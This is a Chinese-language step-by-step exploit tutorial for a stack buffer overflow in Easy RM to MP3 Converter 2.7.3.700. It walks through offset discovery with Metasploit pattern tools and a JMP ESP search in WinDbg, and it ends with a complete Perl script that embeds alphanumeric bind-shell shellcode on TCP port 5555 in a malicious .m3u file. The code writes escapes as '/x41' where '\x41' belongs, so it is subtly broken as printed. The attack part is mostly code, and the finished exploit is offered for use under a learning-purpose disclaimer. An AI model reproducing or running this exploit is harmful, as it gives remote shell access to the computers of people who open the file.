声明:以下涉及的内容只作为学习的目的,任何因为滥用本篇内容而导致对个人或者企业组织造成危害,作者并不承担任何责任。
◆ 目标软件
Easy RM to MP3 Converter(版本2.7.3.700)
◆ 辅助工具
WinDbg6.12、Metasploit3.4.1、ActivePerl5.12
◆ 漏洞描述
通过创建一个恶意的.m3u文件将触发Easy RM to MP3 Converter (version 2.7.3.700)缓冲区溢出利用。
◆ 测试平台
Windows XP SP3 中文版(5.1.2600 Service Pack 3 Build 2600)
◆ 利用步骤
a) 下载并安装Easy RM to MP3 Converter(版本2.7.3.700)
地址:http://www.rm-to-mp3.net/download.html
b) 创建一个特殊的.m3u文件,验证目标软件加载它时确实崩溃了
#文件: crash.pl
#编译: perl crash.pl
#说明: 生成一个具有10000个字符A的crash.m3u文件
my $file = "crash.m3u"; # 要生成的文件名
my $data = "/x41" x 10000; # 10000个A
open ($FILE , ">$file");
print $FILE "$data" ; # 将10000个A输出到crash.m3u
close ($FILE);
print "/nm3u file created successfully/n";
打开Easy RM to MP3 Converter,加载具有10000个字符A的crash.m3u无效文件,我们发现目标软件捕获了该错误,跳出友好提示:
接着,我们更改crash.pl源代码,使其输出20000个A试试,一样的结果。很好,换30000个……,目标软件崩溃了:
也就是说目标软件在20000和30000之间可以崩溃掉。同时,从上图可以看出程序的EIP也可以被我们填充成一个指向恶意代码的地址。(很明显,EIP 0x41414141是crash.m3u中的数据)。
c) 确定缓冲区大小并精确的填写EIP
从前面得知返回地址(EIP的值)在缓冲区开始位置的20000和30000字节之间。首先,我们采用二分法缩小查找范围,用25000个A和5000个B进行确认:
#文件: crash.pl
#编译: perl crash.pl
#说明: 生成一个具有25000个字符A和5000个字符B的crash.m3u文件
my $file = "crash.m3u"; # 要生成的文件名
my $dataA = "/x41" x 25000; # 25000个A
my $dataB = "/x42" x 5000; # 5000个B
open ($FILE , ">$file");
print $FILE "$dataA" , "$dataB" ; # 将25000个A和5000个B输出到crash.m3u
close ($FILE);
print "/nm3u file created successfully/n";
从上图得知返回地址(EIP的值)在缓冲区开始位置的25000和30000字节之间。接着,我们采用Metasploit工具精确定位:
1、 利用pattern_create.rb(/Metasploit/Framework3/msf3/tools/目录下)创建一个包含5000个字符的模型。
2、 将生成的5000个字符替换上一个crash.pl文件中的5000个B字符:
#文件: crash.pl
#编译: perl crash.pl
#说明: 生成一个具有25000个字符A和5000个模型字符的crash.m3u文件
my $file = "crash.m3u"; # 要生成的文件名
my $dataA = "/x41" x 25000; # 25000个A
my $dataB = "填充入由pattern_create.rb生成的5000个字符"; # 5000个字符
open ($FILE , ">$file");
print $FILE "$dataA" , "$dataB" ; # 将25000个A和模型字符输出到crash.m3u
close ($FILE);
print "/nm3u file created successfully/n";
3、 运行目标软件,加载新生成的.m3u文件。程序崩溃,记录下崩溃地址:
4、 利用pattern_offset.rb(/Metasploit/Framework3/msf3/tools/目录下)计算当前EIP基于模型的偏移,输入EIP值(0x306c4239)和模型缓冲区大小(5000),得出偏移为:1109。因此我们得知总缓冲区大小为25000+1109:
所以我们可以创建一个包含26109个字符A和4个字符B的.m3u文件,目标软件重新加载.m3u文件,EIP应该会被重写为0x42424242。
#文件: crash.pl
#编译: perl crash.pl
#说明: 生成一个具有26109个字符A和4个字符B的crash.m3u文件
my $file = "crash.m3u"; # 要生成的文件名
my $dataA = "/x41" x 26109; # 26109个A
my $dataB = "/x42" x 4; # 4个B
open ($FILE , ">$file");
print $FILE "$dataA" , "$dataB" ; # 将26109个A和4个B输出到crash.m3u
close ($FILE);
print "/nm3u file created successfully/n";
d) 寻找存放shellcode的地址空间。
根据函数调用的堆栈平衡原理,缓冲区溢出之后,ESP应该停留在函数(这里假设为:XXCopy)调用之前所在位置上。也就是说,覆盖完EIP之后继续填充的数据都将保存在ESP所指地址中。
1、 为了验证以上分析,我们将WinDBG注册为即时调试器进行观察:
cmd > windbg -I
同时设置注册表键值,让即时调试器遇到异常时能够提示手动加载,而非自动加载:
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/AeDebug下的Auto值设置为0
2、 重新编写.m3u文件,观察ESP中的存储数据:
#文件: crash.pl
#编译: perl crash.pl
#说明: 将32个字符C存放到ESP所指空间中
my $file = "crash.m3u"; # 要生成的文件名
my $dataA = "/x41" x 26109; # 26109个A
my $EIP = "/x42" x 4; # 4个B
my $dataC = "/x43" x 32; # 32个C
open ($FILE , ">$file");
print $FILE "$dataA" , "$EIP" ,"$dataC" ; # 输出到crash.m3u
close ($FILE);
print "/nm3u file created successfully/n";
加载运行,报异常,调试之,输入db esp命令查看数据:
从上图我们发现,ESP位置只有28个字符C,少了4个。因此可以得出 溢出函数 在执行完毕时还对一个 函数入参 执行了退栈操作(也就是执行了指令:RET 4)。
3、 最终我们确定了shellcode的存放位置:
#文件: crash.pl
#编译: perl crash.pl
#说明: 将8个字符X的shellcode存放到ESP所指空间中
my $file = "crash.m3u"; # 要生成的文件名
my $dataA = "/x41" x 26109; # 26109个A
my $EIP = "/x42" x 4; # 4个B
my $preShellcode = "/x43" x 4; # 4个C
my $shellcode = "/x58" x 8; # 8个X,代表shellcode可存放于此
open ($FILE , ">$file");
print $FILE "$dataA" , "$EIP" ,"$preShellcode" ,"$shellcode";
close ($FILE);
print "/nm3u file created successfully/n";
Shellcode存放的起始地址为0x000ff730,也就是ESP的当前值。我们不能直接将这个地址值填充给Perl代码中的$EIP,因为它包含了字符串终止字符0x00,会导致.m3u文件中的$preShellcode及$shellcode数据无法被 目标软件(Easy RM to MP3 Converter) 读取。
e) 寻找可跳转到SHELLCODE的指令地址。
这里除了直接地址0x000ff730外,我们还可以在内存中查找JMP ESP的指令地址来填充$EIP的值。
1、 运行Easy RM to MP3 Converter,打开WINDBG附加之。我们可以看到已经被目标程序加载的所有DLL,这里我们关注 目标软件(Easy RM to MP3 Converter)附带的某个DLL(非系统DLL)。
2、 获取JMP ESP指令值,并在MSRMCcodec02.dll中搜索。
采用WINDBG的s 命令在MSRMCcodec02.dll中搜索指令JMP ESP (ff e4),得到如下:
我们随意取一个地址,比如0x01eeb22a。注意,地址值不能包含字符串终止字符0x00。
f) 改写$EIP、$shellcode生成真正意义上的Exploit,开启远程后门。
下面的shellcode是网上找的,网址在最后的参考资料一栏中有提供,这里不保证它在所有的平台上的测试都有效。不同的平台,大家可以搜索相应的shellcode或自行编写。
#文件: crash.pl
#编译: perl crash.pl
#说明: 将真实的shellcode(引用Oh Yaw Theng的代码)写到.m3u文件中
my $file = "crash.m3u"; # 要生成的文件名
my $dataA = "/x41" x 26109; # 26109个A
my $EIP = pack('V',0x01eeb22a); # JMP ESP in MSRMCcodec02.dll
my $preShellcode = "/x43" x 4; # 4个C
# Date: 4 / 8 / 2010
# Author: Oh Yaw Theng
# Software Link: http://www.exploit-db.com/application/10642/
# Version: 2.7.3.700
# Tested on: Windows XP SP 1
# CVE : N / A
# Bind a shell at TCP Port 5555 (Telnet to this port after exploiting target)
my $shellcode= "/xeb/x03/x59/xeb/x05/xe8/xf8/xff/xff/xff/x4f/x49/x49/x49/x49/x49" .
"/x49/x51/x5a/x56/x54/x58/x36/x33/x30/x56/x58/x34/x41/x30/x42/x36" .
"/x48/x48/x30/x42/x33/x30/x42/x43/x56/x58/x32/x42/x44/x42/x48/x34" .
"/x41/x32/x41/x44/x30/x41/x44/x54/x42/x44/x51/x42/x30/x41/x44/x41" .
"/x56/x58/x34/x5a/x38/x42/x44/x4a/x4f/x4d/x4e/x4f/x4c/x46/x4b/x4e" .
"/x4d/x54/x4a/x4e/x49/x4f/x4f/x4f/x4f/x4f/x4f/x4f/x42/x36/x4b/x48" .
"/x4e/x36/x46/x32/x46/x32/x4b/x48/x45/x34/x4e/x43/x4b/x58/x4e/x37" .
"/x45/x50/x4a/x47/x41/x30/x4f/x4e/x4b/x58/x4f/x44/x4a/x51/x4b/x58" .
"/x4f/x45/x42/x42/x41/x30/x4b/x4e/x49/x54/x4b/x38/x46/x43/x4b/x58" .
"/x41/x50/x50/x4e/x41/x43/x42/x4c/x49/x49/x4e/x4a/x46/x58/x42/x4c" .
"/x46/x37/x47/x30/x41/x4c/x4c/x4c/x4d/x50/x41/x50/x44/x4c/x4b/x4e" .
"/x46/x4f/x4b/x43/x46/x45/x46/x32/x4a/x42/x45/x37/x45/x4e/x4b/x58" .
"/x4f/x35/x46/x42/x41/x30/x4b/x4e/x48/x36/x4b/x48/x4e/x50/x4b/x54" .
"/x4b/x38/x4f/x45/x4e/x31/x41/x50/x4b/x4e/x43/x30/x4e/x52/x4b/x38" .
"/x49/x38/x4e/x46/x46/x32/x4e/x41/x41/x36/x43/x4c/x41/x43/x4b/x4d" .
"/x46/x46/x4b/x48/x43/x54/x42/x43/x4b/x48/x42/x54/x4e/x50/x4b/x48" .
"/x42/x37/x4e/x31/x4d/x4a/x4b/x38/x42/x34/x4a/x30/x50/x45/x4a/x46" .
"/x50/x58/x50/x54/x50/x50/x4e/x4e/x42/x35/x4f/x4f/x48/x4d/x48/x46" .
"/x43/x35/x48/x36/x4a/x46/x43/x33/x44/x53/x4a/x46/x47/x47/x43/x47" .
"/x44/x53/x4f/x35/x46/x45/x4f/x4f/x42/x4d/x4a/x46/x4b/x4c/x4d/x4e" .
"/x4e/x4f/x4b/x33/x42/x45/x4f/x4f/x48/x4d/x4f/x55/x49/x48/x45/x4e" .
"/x48/x36/x41/x58/x4d/x4e/x4a/x30/x44/x50/x45/x35/x4c/x56/x44/x30" .
"/x4f/x4f/x42/x4d/x4a/x56/x49/x4d/x49/x50/x45/x4f/x4d/x4a/x47/x45" .
"/x4f/x4f/x48/x4d/x43/x35/x43/x35/x43/x55/x43/x45/x43/x35/x43/x54" .
"/x43/x35/x43/x34/x43/x35/x4f/x4f/x42/x4d/x48/x36/x4a/x36/x45/x31" .
"/x43/x4b/x48/x56/x43/x35/x49/x38/x41/x4e/x45/x39/x4a/x46/x46/x4a" .
"/x4c/x51/x42/x57/x47/x4c/x47/x35/x4f/x4f/x48/x4d/x4c/x46/x42/x41" .
"/x41/x55/x45/x35/x4f/x4f/x42/x4d/x4a/x36/x46/x4a/x4d/x4a/x50/x52" .
"/x49/x4e/x47/x55/x4f/x4f/x48/x4d/x43/x55/x45/x55/x4f/x4f/x42/x4d" .
"/x4a/x46/x45/x4e/x49/x44/x48/x58/x49/x44/x47/x55/x4f/x4f/x48/x4d" .
"/x42/x45/x46/x35/x46/x45/x45/x45/x4f/x4f/x42/x4d/x43/x49/x4a/x36" .
"/x47/x4e/x49/x47/x48/x4c/x49/x57/x47/x35/x4f/x4f/x48/x4d/x45/x55" .
"/x4f/x4f/x42/x4d/x48/x46/x4c/x46/x46/x46/x48/x36/x4a/x36/x43/x56" .
"/x4d/x36/x49/x48/x45/x4e/x4c/x56/x42/x45/x49/x55/x49/x52/x4e/x4c" .
"/x49/x38/x47/x4e/x4c/x36/x46/x44/x49/x38/x44/x4e/x41/x33/x42/x4c" .
"/x43/x4f/x4c/x4a/x50/x4f/x44/x44/x4d/x42/x50/x4f/x44/x54/x4e/x32" .
"/x43/x49/x4d/x48/x4c/x47/x4a/x43/x4b/x4a/x4b/x4a/x4b/x4a/x4a/x36" .
"/x44/x57/x50/x4f/x43/x4b/x48/x51/x4f/x4f/x45/x37/x46/x54/x4f/x4f" .
"/x48/x4d/x4b/x45/x47/x45/x44/x55/x41/x35/x41/x45/x41/x35/x4c/x56" .
"/x41/x30/x41/x35/x41/x35/x45/x45/x41/x55/x4f/x4f/x42/x4d/x4a/x46" .
"/x4d/x4a/x49/x4d/x45/x50/x50/x4c/x43/x45/x4f/x4f/x48/x4d/x4c/x46" .
"/x4f/x4f/x4f/x4f/x47/x53/x4f/x4f/x42/x4d/x4b/x48/x47/x35/x4e/x4f" .
"/x43/x38/x46/x4c/x46/x36/x4f/x4f/x48/x4d/x44/x35/x4f/x4f/x42/x4d" .
"/x4a/x36/x42/x4f/x4c/x48/x46/x30/x4f/x35/x43/x35/x4f/x4f/x48/x4d" .
"/x4f/x4f/x42/x4d/x5a";
my $exploit = "$dataA" . "$EIP" . "$preShellcode" . "$shellcode";
open ($FILE , ">$file");
print $FILE "$exploit ";
close ($FILE);
print "/nm3u file created successfully/n";
g) 测试
1、 打开Easy RM to MP3 Converter,加载有问题的.m3u文件
2、 打开命令行,输入telnet 127.0.0.1 5555 连接到目标机器
3、 连接成功,使用DIR等等WINDOWS命令执行远程操作。
◆ 参考资料